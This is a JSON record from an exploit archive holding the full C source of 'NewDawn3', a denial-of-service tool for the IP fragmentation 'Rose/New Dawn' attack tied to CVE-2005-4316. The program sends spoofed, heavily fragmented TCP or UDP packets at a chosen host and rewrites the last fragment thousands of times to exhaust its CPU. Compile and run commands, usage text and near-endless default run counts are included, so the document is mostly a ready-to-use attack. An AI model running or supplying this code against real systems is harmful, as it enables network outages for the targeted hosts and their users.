{"exploit":{"id":"EDB-24636","name":"Microsoft Windows XP - TCP Packet Fragmentation Handling Denial of Service (DoS) (3)","description":"Microsoft Windows XP - TCP Packet Fragmentation Handling Denial of Service (DoS) (3)","cves":["CVE-2005-4316"],"author":"Ken Hollis","published":"2004-09-27","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/24636","path":"exploits/windows/dos/24636.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-24636.c","vulnerabilities":[{"id":"CVE-2005-4316","state":"PUBLISHED","title":null,"titleSource":null,"description":"HP-UX B.11.00, B.11.04, B.11.11, and B.11.23 allows remote attackers to cause a denial of service via a \"Rose Attack\" that involves sending a subset of small IP fragments that do not form a complete, larger packet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-4316","cvss":{"version":"2.0","baseScore":7.8,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-4316"},"updatedAt":"2024-08-07T23:38:51.839Z","retrievedAt":"2026-11-27T08:57:31.651Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-24636.png?v=2","url":"https://exploitbin.com/exploits/EDB-24636","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-24636/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-24636/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/11258/info\n\nMultiple vendor implementations of the TCP stack are reported prone to a remote denial-of-service vulnerability.\n\nThe issue is reported to present itself due to inefficiencies present when handling fragmented TCP packets.\n\nThe discoverer of this issue has dubbed the attack style the \"New Dawn attack\"; it is a variation of a previously reported attack that was named the \"Rose Attack\".\n\nA remote attacker may exploit this vulnerability to deny service to an affected computer.\n\nMicrosoft Windows 2000/XP, Linux kernel 2.4 tree, and undisclosed Cisco systems are reported prone to this vulnerability; other products may also be affected.\n\n\n/*-------------------------------------------------------------*/\n/*\n  Implementation of Rose Attack described by Gandalf gandalf at digital.net\n  Reference: Bugtraq, 30 mars 2004, \"IPv4 fragmentation, The Rose Attack\"\n\n  NewDawn3.c written by Ken Hollis based on the code rose.c\n  written by Laurent Constantin and rose2.c written by chuck\n  modified from large IGMP attack by Kox by Coolio (coolio (at) k-r4d.com)\n\n  Program allows choice of TCP or UDP, number of packets to fragment, number\n  of fragments per packet and number of times the last fragment is\n  rewritten.\n\n  Based on a conversation where it was mentioned that a highly fragmented\n  packet would cause high CPU utilization if the last fragment was written\n  over and over again.  As chuck says, death by a thousand cuts.\n\n  NewDawn3 send 32 byte fragments.  See:\n  http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm\n\n Usage : ./NewDawn3 type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]\n Example: ./NewDawn3 1 1.2.3.4 80 5 9999 99999999 4080 2\n   type      : 1=tcp, 2=udp\n   ipaddress : address to test\n   port      : optional port number (0 means random)\n   NumP      : Number of packets to fragment (less than 1000)\n   NumT      : Number of times last fragment is rewritten\n   NumR      : Number of times to run test\n   NumF      : Number of fragments per packet\n   NumD      : Delta between fragements.  8 = 32 bytes blank\n               64 bytes total between fragments (32 bytes\n\t       payload + 32 bytes blank = 64 bytes),\n               5 = 8 bytes blank (32 bytes payload + 8 bytes\n\t       blank = 40 bytes total = 5 * 8).\n\t       < 5 = overlapping fragments\n\n\n  Library netwib must be installed:\n    http://www.laurentconstantin.com/en/netw/netwib/\n    http://go.to/laurentconstantin\n\n  To compile and run :\n    gcc -Wall -o NewDawn3 NewDawn3.c `netwib-config -lc`\n    ./NewDawn3 1 www.example.com 80\n\n    The command:\n    ./NewDawn3 1 10.12.14.16\n    Is equivalent to:\n    ./NewDawn3 1 10.12.14.16 0 5 9999 99999999 1021 8\n    Where:\n    ./NewDawn3 = Program Name\n    1 = TCP\n    10.12.14.16 = IP Address\n    0 = Random port numbers\n    5 = Five packets to fragment before staring next set of packets\n    9999 = The number of times to rewrite the last fragment of\n           the five packets\n    99999999 = The number of times to run this entire attack\n    1021 = The number of middle fragments to write.\n    8 = 64 bytes between 32 byte fragments (8 bytes * 8 = 64)\n\n  This was successfully tested with netwib 5.12.0, under Linux\n  to test a Windows 2000 host. Local network is Ethernet.\n*/\n\n/*-------------------------------------------------------------*/\n// Test large number of packets\n#define NUM_PACKETS 1000\n#define NUM_LAST 9999\n#define NUM_RUN 99999999\n#define NUM_FRAG 8170\n#define NUM_DELTA 8\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <netwib.h>\n\n/*-------------------------------------------------------------*/\ntypedef enum {\n  ROSE_TYPE_TCP = 1,\n  ROSE_TYPE_UDP = 2\n} rose_type;\n\n/*-------------------------------------------------------------*/\ntypedef struct {\n  rose_type type;\n  netwib_ip ipad;\n  netwib_port port;\n  netwib_bool display;\n  netwib_buf buf;\n  netwib_io *pio;\n} rose_params;\n\n/*-------------------------------------------------------------*/\nstatic netwib_err rose_loop(rose_params *prp, int npack, int nrew,\n\t\tint nrun, int nfrag, int ndelta)\n{\n  netwib_iphdr ipheader, ipstore[NUM_PACKETS];\n  netwib_tcphdr tcpheader, tcpstore[NUM_PACKETS];\n  netwib_udphdr udpheader, udpstore[NUM_PACKETS];\n  netwib_buf payload;\n  netwib_uint32 numsent = 0;\n  int i, j, nrun2;\n\nprintf(\"Packets %d Rewrite %d Runs %d Fragment packet to byte %d Delta %d\\n\\r\",\n           npack, nrew, nrun, nfrag, ndelta);\n\n  for (nrun2=0; nrun2<nrun; nrun2++) {\n\n    for (i=0; i<npack; i++){\n\tnetwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipstore[i]));\n\tnetwib_er(netwib_uint32_init_rand_all(&ipstore[i].src.ipvalue.ip4));\n\tswitch(prp->type) {\n\tcase ROSE_TYPE_TCP :\n        netwib_er(netwib_tcphdr_initdefault(&tcpstore[i]));\n        netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].src));\n        if (prp->port == 0) {\n          netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].dst));\n\t} else {\n\t  tcpstore[i].dst = prp->port;\n    \t}\n        break;\n\tcase ROSE_TYPE_UDP :\n\tnetwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].src));\n\tif (prp->port == 0) {\n\t  netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].dst));\n        } else {\n          udpstore[i].dst = prp->port;\n        }\n\tbreak;\n       }\n    }\n\n    for (i=0; i<npack; i++){\n    /* construct first fragment */\n    netwib__buf_reinit(&prp->buf);\n    ipheader = ipstore[i];\n    ipheader.header.ip4.morefrag = NETWIB_TRUE;\n    ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */\n    ipheader.src.iptype = NETWIB_IPTYPE_IP4;\n    ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;\n    ipheader.dst = prp->ipad;\n    switch(prp->type) {\n    case ROSE_TYPE_TCP :\n      tcpheader = tcpstore[i];\n      tcpheader.src = tcpstore[i].src;\n      tcpheader.dst = tcpstore[i].dst;\n      tcpheader.ack = NETWIB_TRUE;\n      netwib_er(netwib_buf_init_ext_text(\"1234567890123456789012345678\",\n                                         &payload));\n      netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload,\n                                          &prp->buf));\n      break;\n    case ROSE_TYPE_UDP :\n      netwib_er(netwib_udphdr_initdefault(&udpheader));\n      udpheader.src = udpstore[i].src;\n      udpheader.dst = udpstore[i].dst;\n      netwib_er(netwib_buf_init_ext_text(\"12345678901234567890123456789012\",\n                                         &payload));\n      netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload,\n                                            &prp->buf));\n      break;\n    }\n    if (prp->display) {\n      netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,\n                                      NETWIB_ENCODETYPE_DUMP));\n    }\n    netwib_er(netwib_io_write(prp->pio, &prp->buf));\n\n    /* construct middle fragments */\n    netwib__buf_reinit(&prp->buf);\n    ipheader.header.ip4.offsetfrag = 0x0008;\n    for(ipheader.header.ip4.offsetfrag = 0x0008 ;\n\tipheader.header.ip4.offsetfrag< nfrag;\n\tipheader.header.ip4.offsetfrag = ipheader.header.ip4.offsetfrag +\n\t                                 ndelta){\n    netwib__buf_reinit(&prp->buf);\n    switch(prp->type) {\n    case ROSE_TYPE_TCP :\n      ipheader.protocol = NETWIB_IPPROTO_TCP;\n      break;\n    case ROSE_TYPE_UDP :\n      ipheader.protocol = NETWIB_IPPROTO_UDP;\n      break;\n    }\n    netwib_er(netwib_buf_init_ext_text(\"12345678901234567890123456789012\",\n\t\t\t    &payload));\n    netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));\n    if (prp->display) {\n    netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,\n\t\t\t\t    NETWIB_ENCODETYPE_DUMP));\n    }\n    netwib_er(netwib_io_write(prp->pio, &prp->buf));\n    }\n\n    }\n\n    printf(\"Rewriting %d packets last fragment %d times\\r\\n\",\n\t\t    npack,nrew); fflush(stdout);\n\n    /* construct last fragment and rewrite NUM_LAST times */\n    for (j=0;j<nrew;j++){\n    netwib__buf_reinit(&prp->buf);\n    for (i=0; i<npack; i++){\n    ipheader = ipstore[i];\n    ipheader.src.iptype = NETWIB_IPTYPE_IP4;\n    ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;\n    ipheader.dst = prp->ipad;\n    switch(prp->type) {\n    case ROSE_TYPE_TCP :\n      tcpheader = tcpstore[i];\n      tcpheader.src = tcpstore[i].src;\n      tcpheader.dst = tcpstore[i].dst;\n      tcpheader.ack = NETWIB_TRUE;\n      ipheader.protocol = NETWIB_IPPROTO_TCP;\n    break;\n    case ROSE_TYPE_UDP :\n      udpheader.src = udpstore[i].src;\n      udpheader.dst = udpstore[i].dst;\n      ipheader.protocol = NETWIB_IPPROTO_UDP;\n    break;\n    }\n\n    netwib__buf_reinit(&prp->buf);\n    ipheader.header.ip4.morefrag = NETWIB_FALSE;\n    ipheader.header.ip4.offsetfrag = 0x1FF0;\n    netwib_er(netwib_buf_init_ext_text(\"12345678901234567890123456789012\",\n                                       &payload));\n    netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));\n    if (prp->display) {\n      netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,\n                                      NETWIB_ENCODETYPE_DUMP));\n       }\n    netwib_er(netwib_io_write(prp->pio, &prp->buf));\n    }\n    }\n    /* dot display */\n    if (!prp->display && (numsent%100)==0) {\n      printf(\".\"); fflush(stdout);\n    }\n    numsent++;\n  }\n\n  return(NETWIB_ERR_OK);\n}\n\n/*-------------------------------------------------------------*/\nint main(int argc, char* argv[])\n{\n  rose_params rp;\n  netwib_buf ipstr;\n  netwib_err ret;\n  int npack, nrew, nrun, nfrag, ndelta;\n\n  /* initialize netwib */\n  netwib_init();\n\n  /* check parameter count */\n  if (argc < 3 || argc > 9) {\n    printf(\"Usage  : %s type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]\\n\", argv[0]);\n    printf(\"Example: %s 1 1.2.3.4 80 5 9999 99999999 1021 8\\n\", argv[0]);\n    printf(\" type      : %d=tcp, %d=udp\\n\", ROSE_TYPE_TCP, ROSE_TYPE_UDP);\n    printf(\" ipaddress : address to test\\n\");\n    printf(\" port      : optional port number (0 means random)\\n\");\n    printf(\" NumP      : Number of packets to fragment\\n\");\n    printf(\" NumT      : Number of times last fragment is rewritten\\n\");\n    printf(\" NumR      : Number of times to run test\\n\");\n    printf(\" NumF      : Number of fragments per packet\\n\");\n    printf(\" NumD      : Delta between fragements.\\n\");\n   return(1);\n  }\n\n  /* first parameter is type */\n  rp.type = atoi(argv[1]);\n  switch(rp.type) {\n  case ROSE_TYPE_TCP :\n  case ROSE_TYPE_UDP :\n    break;\n  default :\n    printf(\"First parameter must be 1 or 2 (currently=%s)\\n\", argv[1]);\n    return(2);\n  }\n\n  /* second parameter is IP address */\n  netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr));\n  ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad);\n  if (ret != NETWIB_ERR_OK) {\n    printf(\"Second parameter must be an IP or hostname (currently=%s)\\n\",\n           argv[2]);\n    return(3);\n  }\n\n  /* third parameter is port number */\n  rp.port = 0;\n  if (argc > 3) {\n    rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */\n  }\n\n  /* fourth parameter is number of packets to fragment */\n  npack = 5;\n  if (argc > 4) {\n    npack = atoi(argv[4]); /* on error, set to 1 */\n    }\n  if (npack < 1) { npack = 1; }\n  if (npack > 1000) { npack = 1000; }\n\n  /* fifth parameter is number of times packet is rewritten */\n  nrew = NUM_LAST;\n  if (argc > 5) {\n    nrew = atoi(argv[5]); /* on error, set to 0, but that's ok */\n    }\n\n  /* sixth parameter is number of times to run the test */\n  nrun = NUM_RUN;\n  if (argc > 6) {\n    nrun = atoi(argv[6]); /* on error, set to 0, but that's ok */\n    }\n\n  /* seventh parameter is number of fragments per packet */\n  nfrag = NUM_FRAG;\n  if (argc > 7) {\n    nfrag = atoi(argv[7]);\n    }\n  if (nfrag < 1) { nfrag = 1; }\n\n  /* eighth parameter is delta between fragments */\n    ndelta = NUM_DELTA;\n    if (argc > 8) {\n      ndelta = atoi(argv[8]);\n      }\n\n  /* Make sure that the fragments do not exceed 8170 */\n\n    nfrag = (nfrag * ndelta) + 8;\n    if (nfrag > 8170) { nfrag = 8170; }\n\n  printf(\"%s %d %s %d %d %d %d %d ndelta = %d\\n\\r\",\n          argv[0], rp.type, argv[2], rp.port, npack, nrew, nrun,\n\t  nfrag / 8, ndelta);\n\n  /* set to NETWIB_TRUE to activate display */\n  rp.display = NETWIB_FALSE;\n\n  /* instead of allocating memory each time, just use this permanent buffer */\n  netwib_er(netwib_buf_init_mallocdefault(&rp.buf));\n\n  /* initialize spoofing feature */\n  netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW,\n                                    &rp.pio));\n\n  /* main function */\n  ret = rose_loop(&rp, npack, nrew, nrun, nfrag, ndelta);\n  if (ret != NETWIB_ERR_OK) {\n    netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL));\n    return(ret);\n  }\n\n  /* close netwib */\n  netwib_er(netwib_io_close(&rp.pio));\n  netwib_er(netwib_buf_close(&rp.buf));\n  netwib_close();\n\n  return(0);\n}","sha256":"e285c7e35c5640a4121e00afe0308d49564d4d81bb59da813fb5c4d1499dad0d","bytes":12803,"fetchedAt":"2026-11-27T11:06:48.924Z","encoding":"utf-8 (display only; download retains original bytes)"}